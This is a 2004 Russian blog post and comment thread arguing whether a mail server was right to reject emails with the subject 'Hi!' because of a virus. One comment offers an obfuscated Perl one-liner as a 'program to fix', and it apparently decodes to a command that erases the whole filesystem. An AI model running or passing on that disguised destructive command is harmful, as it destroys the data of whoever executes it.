Нет, это уже просто ...
Apr. 28th, 2004 01:43 pm![[personal profile]](https://www.dreamwidth.org/img/silk/identity/user.png){kind=small}
e_mirТолько что не смог отослать письма с темой "Hi!", потому что мэйл-сервер абонента настроен отбрасывать такие письма, ибо в такую тему в письма вставляет вирус. Замечательно. А проверить на наличие аттачмента? Не?Сисадмины криворукие!
![[identity profile]](https://www.dreamwidth.org/img/silk/identity/openid.png){kind=small}
no subject
Date: 2004-04-28 03:48 am (UTC)2. a kakoj debikl budet otkryvat pismo s takim sibj?
no subject
Date: 2004-04-28 03:50 am (UTC)программа из одной строчки ни Perl
Date: 2004-04-28 03:54 am (UTC)помогите, пожалуйста исправить такую программу:
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
- не печатает
http://www.linux.org.ru/view-message.jsp?msgid=392747
Re: программа из одной строчки ни Perl
Date: 2004-04-28 04:05 am (UTC)Запускать надо только под root'ом. Иначе - не запустиццо :-)
Re: программа из одной строчки ни Perl
Date: 2004-04-28 04:10 am (UTC)2) Я не специалист в перле и не буду запускать то, чего не понимаю
3) Скрипт этот на Винде нихрена не сделает, равно как и без рутовских прав.
4) Незнакомцы мне редко пишут с просьбами помочь.
Re: программа из одной строчки ни Perl
Date: 2004-04-28 04:14 am (UTC)2. ty uveren chto kazhdyj sysadmin dolzhen byt' virusologom i razbiratsya v tonkosyax ix raboty... ili vse taki dostatochno zablokirovat' pismo, kotorye idioty (99%) usery zapuskaut?
3. eto u tebya sfu, ili cygwin ne ustanovlen
4. a adminam pishut... inogda i pridurki, kak v tom threade
Re: программа из одной строчки ни Perl
Date: 2004-04-28 04:23 am (UTC)2. Я не уверен, кто кем должен быть, но то, что идиоты платят неидиоту деньги за его труд, я догадываюсь.
3. Этого я не понял 8-)
4. Я сознаю, что злобные идиоты не переведутся никогда, но какое это имеет отношение к остальным людям? А если завтра в какой-то вирус начнет ставить в subj "От Жени" - мне имя поменять нужно будет?
Re: программа из одной строчки ни Perl
Date: 2004-04-28 04:35 am (UTC)2. ty budesh plakat' eshe boslhe, kogda uznaesh skolko usery platyat adminu, i budesh silno udivlen, sho virusnye problemy ix interesuyt ochen malo... ix interesuet gorazdi bolee drugie veshi...
3. > 3. eto u tebya sfu, ili cygwin ne ustanovlen
>3. Этого я не понял 8-)
да понятно... не важно...
4. Я сознаю, что злобные идиоты не переведутся никогда, но какое это имеет отношение к остальным людям? А если завтра в какой-то вирус начнет ставить в subj "От Жени" - мне имя поменять нужно будет?
знаешь... мир несоверщеннен.... придется менять subj....
Re: программа из одной строчки ни Perl
Date: 2004-04-28 07:17 am (UTC)2. Ну, для того, чтобы я всплакнул, лучше спеть "Черный ворон, шо ж ты вьешся", а проблема оплаты труда админов - в гораздо меньшей степени может вызвать слезоотделение.
4. Ну, опять же, в таком случае- я считаю, что мой пост вполне логичен. 8-)
зевая....
Date: 2004-04-28 08:28 am (UTC)общественное благо
Date: 2004-04-28 05:15 am (UTC)или сисадминам мордоваться?
общественное благо ясно отвечает на сей риторический вопрос.
а то так всякий начнет в лифтах всякую фигню писать, поругиваясь на уборщиц криворуких...
что, впрочем, уже и делается -
для общественнаго блага.
Re: общественное благо
Re: общественное благо
Date: 2004-04-28 06:06 am (UTC)Нет, неаккуратно ловушка стоит.
Re: общественное благо
Date: 2004-04-28 08:24 am (UTC)predstavili? i skolko vyshlo?
a vy znaete skolko serverov legko v tot den', kogda etot virus poyavilsya, osobenno krupnyx?
vy znaete skolko relanyx polzovatelej ne poluchili svoej pochty v tot den'?
nu da ladno.... kogda vash server lyazhet v takoj situazii... pojmete..
Re: общественное благо
Date: 2004-04-29 03:00 am (UTC)Кстати, основной приоритет всевозможных серверных антиспамовых и антивирусных систем - исключить ложные срабатывания, могущие привести к потере данных. Нет смысла в защите, которая прибьет десять процентов полезной информации по ошибке. Уж лучше пусть какой-нибудь отдельно взятый пользователь вирус получит из-за своей дурости.
Re: общественное благо
Date: 2004-04-29 07:43 am (UTC)da.
>Но когда такое висит постоянно - это, извините, компенсация недостатка профессионализма за счет ограничения возможностей пользователей.
ne obyazatelno... admin posle zalataniya _toj_ problemy, mog i skoree vsego zabyl, cho skazhem tak, filtr byl ne optimalnyj... ya sam pomnu te 2 dnya.... i pomnu sho bylo posle...
avtoru threada nado bylo ne pesdet (gnat) na admina, a poslat' emu pismo, vot pisma ne doxodyat. i vse.
>Кстати, основной приоритет всевозможных серверных антиспамовых и антивирусных систем - исключить ложные срабатывания, могущие привести к потере данных. Нет смысла в защите, которая прибьет десять процентов полезной информации по ошибке. Уж лучше пусть какой-нибудь отдельно взятый пользователь вирус получит из-за своей дурости.
da. u menya tak vse i sdelano. bolee togo, ves' spam ezhe 2 dnya xranitsya, shoby user, esli sho, smog dobratsya do pisma.
Re: общественное благо
Date: 2004-04-28 07:21 am (UTC)Так что не надо про общественное благо.
Re: общественное благо
Date: 2004-04-28 01:50 pm (UTC)Я например у себя на серверах не пропускаю зипы и еще много чего, и ползователи только спасибо говорят,
Лучше не получить 10 писем чем получить 1 вирус.
Да и вообще это вопрос политики, а юзер может жаловатьса начальству или исползовать другой сервер .
Re: общественное благо
Date: 2004-04-29 02:23 am (UTC)Очень-очень спорное утверждение. Непришедшее вовремя письмо может стоить мне эдак с тысченку баксов.
И разговор шел, если вы заметили, о совершенной конкретике. Я удивлен, как много людей защищают НЕВЕРНО написанное правило для фильтрации.
Re: общественное благо
Date: 2004-04-29 07:49 am (UTC)Re: общественное благо
Date: 2004-04-29 08:07 am (UTC)ya kstati, inogda na nekotoryx klientov, oru....
oni obizhaytsya (vo vremya krika), zato _potom_ blagodarny....
pochemu glupo?
tvoj mail server kak xochesh tak i kruti.
mozhno i na admine sekonomit
Re: общественное благо
Date: 2004-04-29 08:11 am (UTC)*Мой* мэйл-сервер - сработал нормально. Не принял письма сервер получателя.
Re: общественное благо
Date: 2004-04-29 08:23 am (UTC)pochemu zhe glupo... radi ekonomii ty idesh v obshetvneuu stolovuyu, obedaesh za 40 koppek. 3 chasa posle etogo sidish v sortire.. vstrecha s investorom ne sosotyalas'. ty ne poluhcil svoi $10000000
v mashinax, dlya ekonomii mozhno ognetushitel vozit',
i td
chto glupo?
Re: общественное благо
Date: 2004-04-29 08:38 am (UTC)Даже в общественной столовой повар несет ответственность за свою стряпню. Опять же, вы почему-то считаете, что я обязательно - халявщик, и за копейку готов удавиться. У меня есть "свой" виртуальный сервак, хостящийся в штатах. Не скажу - что это какая-то фантастика, но вполне терпимо. Я трачу на него ровно те деньги, которые он стоит. Личный сервер, как и личный повар - мне без надобности.
Возвращаясть к аналогии с поваром.Жрать собачатину, только потому, что у повара не было времени и желания сходить на рынок за нормальным мясом - я не буду. И не надо меня уговаривать и обьяснять - как это неправильно и нехорошо.
Re: общественное благо
Date: 2004-04-29 09:02 am (UTC)net.. uproshenie situazii, shoby ponyatnee bylo...
> Даже в общественной столовой повар несет ответственность за свою стряпню.
neset. ego 13-zarlpalty lishat, vygovor, s doski pocheta snimut.. vam to sho, vstrecha s investorom ne sosoyalas', denxi ne poluhceny...
>Личный сервер, как и личный повар - мне без надобности.
nu tak i ne nado pisat', sho ya studentu (psu) napisal mail, i 1000 dollarov poteryal... v universitetax, bolee drugie politiki bezopasnosti kstati...
>Возвращаясть к аналогии с поваром.Жрать собачатину, только потому, что у повара не было времени и желания сходить на рынок за нормальным мясом - я не буду. И не надо меня уговаривать и обьяснять - как это неправильно и нехорошо.
vy znaete, ya dazhe riskovat' ne xochu i ne dumat' kto kuda xodil ili ne xodil... i kstati ne vedu del s firmami, u kotoryx sites na narod.ru etc zhivut.
no vam zhe ne pomeshalo eto napisat' - sho povar - kozel, on sobachatinu mne polozhil... nado bylo chestno napisat', chto bisnezz partner - student, admin etogo zverinza (psu kak i luboj univerisitet kozel, kormit menya sobachatinoj, sdelki suka sryvaet.
Re: общественное благо
Date: 2004-04-29 09:12 am (UTC)"no vam zhe ne pomeshalo eto napisat' - sho povar - kozel, on sobachatinu mne polozhil... "
Опять же. Еще раз. Я слова идиот и козел - употребляю крайне редко.
"nado bylo chestno napisat', chto bisnezz partner - student"
Честно, как на духу, он живет в университетском городке и работает на Университет. 8-) Так что пальцем - мягко скажем... в небо.
"admin etogo zverinza (psu kak i luboj univerisitet kozel, kormit menya sobachatinoj, sdelki suka sryvaet."
Знаете, постепенно это дискуссия открывает для меня все более глубокие стороны человеческой способности делать неправильные выводы.
Re: общественное благо
Date: 2004-04-29 09:23 am (UTC)vydod pervogo posta byl takoj.
Сисадмины криворукие!
stalo byt' vy Graf Monte-Kristo (ves' v belom)
>Я писал - что мой знакомый студент? Нет, не писал.
>Я писал, что это была сделка? Нет, не писал. Простые выводы - не всегда самые верные.
Imenno! Vy ne pisali, chto eto studencheskij mailserver, dlya kotorogo _drugaya_ politika bezopasnosti
no pisali (namekami) , chto poterya pisma mozhet vam nanesti usherb v ~$1000
Tak chto svou ili glupost' ili ne chistoplotniost' na sysadminov spisyvat'...
a tozh, "lozhechki nashlis', a osadok ostalsya"...
Re: общественное благо
Date: 2004-04-29 09:39 am (UTC)"Студенческий сервер" - это что то новое в мире интернета. Сервер там - университетский.
"dlya kotorogo _drugaya_ politika bezopasnosti" - это политика никак не отменяет того факта, что заразиться от "темы письма" - никак нельзя. Легче мужику забеременеть.
"chto poterya pisma mozhet vam nanesti usherb v ~$1000"
Представьте, может.
Tak chto svou ili glupost' ili ne chistoplotniost' na sysadminov spisyvat'...
a tozh, "lozhechki nashlis', a osadok ostalsya"...
Хамство- не является универсальным решателем всех вопросов.
Re: общественное благо
Date: 2004-04-29 09:49 am (UTC)blad.... poslednyj raz povtoryau. _vse_ adminy delaut oshibki.
lubaya mulituserskaya systema nastroena tak, chto vsegda est kto-to nedovolnyj.
>заразиться от "темы письма" - никак нельзя. Легче мужику забеременеть.
vy znaete kak stek sryvaut?
>chto poterya pisma mozhet vam nanesti usherb v ~$1000"
Представьте, может.
est' eshe takoe ponyatia fax, dhl. etc. vy budete smyaetsya, no imi koe-kto polzuetstya...
>Хамство- не является универсальным решателем всех вопросов.
xorosho skazano....
Re: общественное благо
Date: 2004-04-29 09:55 am (UTC)Ну так чего вы бьете себя пяткой в грудь? Вот я и есть тот недовольный. Причем не вообще - "от системы", а от конкретного проявления этой самой способности делать ошибки.
"vy znaete kak stek sryvaut?"
Уже знаю, похоже. Словом "Hi!", не иначе.
">Хамство- не является универсальным решателем всех вопросов.
xorosho skazano"
Теперь бы еще чтоб вы этим прониклись...
Re: общественное благо
Date: 2004-04-29 01:08 pm (UTC)xorosho skazano"
>Теперь бы еще чтоб вы этим прониклись...
adminam ne nado xamit'..
peshexodov nado lubit
Re: общественное благо
Date: 2004-04-30 01:21 am (UTC)peshexodov nado lubit"
Остальным тоже не нужно хамить. Не только админам. Есть еще масса людей, вполне серьезно относящихся к своей работе.
Re:
Date: 2004-04-29 05:06 am (UTC)eto NE nepravil'no napisannuj fil'tr, wse zavisit
ot politiki firmu, est' firmu gde mozno posulat' pis'ma s subjem "Hello" i est' firmu gde nel'zja.est' firmu gde mozno posmotret' site www.gazeta.ru i est' firmu gde zajdja na etot site wu polychite forbidden access.
Net pravila , no est' reshenie firmu o security principle's. i esli firma reshila pis'ma s subjectom "Hi" ne prinimat' to wu kak polzowatel' idete k washemy nachalniky i reshaete ety problemy na yrowne nachal'nika washego i IT manager firmu.
Re:
Date: 2004-04-29 05:37 am (UTC)